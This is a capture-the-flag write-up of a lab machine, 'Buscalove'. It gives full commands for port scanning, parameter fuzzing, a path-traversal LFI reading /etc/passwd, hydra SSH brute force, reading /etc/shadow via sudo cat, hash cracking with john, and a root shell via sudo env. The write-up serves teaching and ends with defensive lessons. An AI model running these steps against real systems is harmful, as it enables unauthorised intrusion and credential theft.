Buscalove
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Buscalove hides a GET parameter (love) that the site itself hints at in its source code. Fuzzing parameters with a wordlist built from that HTML reveals it, and it turns out to be an LFI. Reading/etc/passwdyields the list of shell users and a hydra brute force hands overrosa. Her sudo rights (cat/ls) let us read/etc/shadowand crack root's yescrypt hash; in parallel, a doubly encodedsecret.txt(hex → base32) revealspedro's password, who abusessudo env(GTFOBins) to reach root.
Recon
Initial scan
The port scan finds two services: an SSH and a web server.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV <ip> -oN targetedPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH
80/tcp open http Apache httpdDirectory fuzzing
On the web, dirsearch finds a /wordpress/ directory, and a gobuster inside locates its index.php:
dirsearch -u http://<ip>
gobuster dir -u http://<ip>/wordpress -x txt,php,html,js -w directory-list-2.3-medium.txtAccess: LFI through a hidden parameter
From source code to a wordlist
The index.php shows a "site under development" notice and a comment with the word love that seems no accident. Instead of guessing the parameter name, we build a wordlist from the page itself: download the source and split it into words.
curl -s http://<ip>/wordpress/index.php | tr -d '></"' | tr ' ' '\n' | sed '/^$/d' > diccionarioweb.txtParameter fuzzing
With that wordlist we fuzz the GET parameter index.php expects. wfuzz flags love because the response changes (the page points to itself when love=index.php):
wfuzz -u "http://<ip>/wordpress/index.php?FUZZ=index.php" -w diccionarioweb.txtThat the parameter can load index.php suggests it includes local resources without sanitising. We confirm by pointing it at /etc/passwd:
curl "http://<ip>/wordpress/index.php?love=../../../../etc/passwd"It's a classic LFI. From the output we filter users with /bin/bash, the real candidates to have a login password:
curl -s "http://<ip>/wordpress/index.php?love=../../../../etc/passwd" | grep bash | awk -F: '{print $1}' > userListShell as rosa
Targeted SSH brute force
With the user list narrowed, hydra tries rockyou against SSH. The LFI has turned a blind brute force into an attack against users known to exist:
hydra -L userList -P <rockyou.txt> ssh://<ip> -t 64[22][ssh] host: <ip> login: rosa password: <password>With rosa's credentials we log in over SSH.
Privilege escalation
rosa's sudo rights
rosa can run cat and ls as root without a password:
sudo -lUser rosa may run the following commands:
(root) NOPASSWD: /usr/bin/cat
(root) NOPASSWD: /usr/bin/lsA cat as root can read any file on the system, starting with /etc/shadow:
sudo cat /etc/shadowHashes for root and pedro appear. The $y$ prefix identifies them as yescrypt.
Path A: crack root's hash
john in crypt format (which delegates to the system libcrypt, capable of yescrypt) attacks root's hash with rockyou:
john --format=crypt --wordlist=<rockyou.txt> hashes --fork=4If rockyou contains the password, we get root's directly and skip the whole escalation with su root.
Path B: doubly encoded secret.txt
The root ls/cat also lets us poke around /root, where a secret.txt lives:
sudo ls /root
sudo cat /root/secret.txtThe content is a hex string. Decoding it gives not plaintext but another string, a sign of a second encoding layer (base32):
echo "4E 5A 58 57 43 59 33 46 4F 4A 32 47 43 34 54 42 4F 4E 58 58 47 32 49 4B" | xxd -r -p
# NZXWCY3FOJ2GC4TBONXXG2IK
echo "NZXWCY3FOJ2GC4TBONXXG2IK" | base32 -d
# noacertarasosinoacertarasosi is pedro's password:
su pedroRoot: sudo env
pedro can run env as root without a password. Per GTFOBins, env can launch an arbitrary process, so it serves to open a privileged shell:
sudo -l
sudo env /bin/bash# id
uid=0(root) gid=0(root) groups=0(root)Attack chain
HTTP -> /wordpress/index.php ("love" hint in the source)
└─> wordlist from the HTML -> wfuzz -> love parameter -> LFI
└─> /etc/passwd -> userList -> hydra (SSH) -> rosa
├─> sudo cat /etc/shadow -> yescrypt -> john -> root
└─> sudo cat /root/secret.txt -> hex + base32 -> pedro
└─> sudo env /bin/bash -> rootLessons learned
- The source code is a wordlist. Building the fuzzing list from the page itself beats a generic list: the hints usually live on the page, not in
rockyou. - An LFI is for enumerating, not just reading. Reading
/etc/passwdand filtering by/bin/bashaims the brute force at real accounts. sudo cat/sudo lsis already game over. Being able to read any file as root (including/etc/shadow) makes a fancier escalation unnecessary; restrict which binaries are granted via sudo.- Encoding is not encryption. A
secret.txtin hex+base32 only slows you down; neither layer protects a secret, both decode without a key.